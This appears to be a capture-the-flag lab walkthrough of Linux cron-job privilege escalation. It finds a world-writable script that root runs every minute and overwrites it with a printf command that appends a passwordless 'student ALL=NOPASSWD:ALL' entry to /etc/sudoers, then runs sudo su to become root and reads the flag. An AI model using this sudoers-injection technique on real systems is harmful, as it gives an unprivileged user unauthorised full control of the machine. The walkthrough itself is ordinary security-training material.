🔬Cron Jobs
Lab 1
Cron Jobs Privilege escalation
Already logged on as
studentunprivileged user
whoami
groups student
cat /etc/passwd
crontab -l📌
studentuser has no privileges and no scheduled cron jobs

ls -l
-rw------- 1 root root 26 Sep 23 2018 message
# "message" file has root permissionsCron Jobs Identify
Look for all occurences of the path or the file, on the system
find / -name message
/home/student/message
find: '/var/lib/apt/lists/partial': Permission denied
[...]
/tmp/messagegrep -rnw /usr -e "/home/student/message"
/usr/local/share/copy.sh:2:cp /home/student/message /tmp/messageThe file has been copied into the /tmp directory
cat /tmp/message
Hey!! you are not root :(Check
copy.shprivileges
ls -al /usr/local/share/copy.sh
-rwxrwxrwx 1 root root 74 Sep 23 2018 /usr/local/share/copy.sh
cat /usr/local/share/copy.sh
#! /bin/bash
cp /home/student/message /tmp/message
chmod 644 /tmp/messagePrivesc
Every user account has read/write/execute permissions on the
copy.shscriptThe script is writable by the
studentuser. Modify the script to execute a command (e.g.adding student tosudoersfile).When the script is executed by
rootcron job (every 1 min for this lab), it will run commands with pivileged permissionsNo text editors available in the lab
printf '#!/bin/bash\necho "student ALL=NOPASSWD:ALL" >> /etc/sudoers' > /usr/local/share/copy.sh
cat /usr/local/share/copy.sh
#!/bin/bash
echo "student ALL=NOPASSWD:ALL" >> /etc/sudoerssudo -l
User student may run the following commands on attackdefense:
(root) NOPASSWD: /etc/init.d/cron
(root) NOPASSWD: ALL
sudo su
whoami
root
cd /root
cat flagcrontab -l
*/01 * * * * sh /usr/local/share/copy.sh *Last updated
Was this helpful?
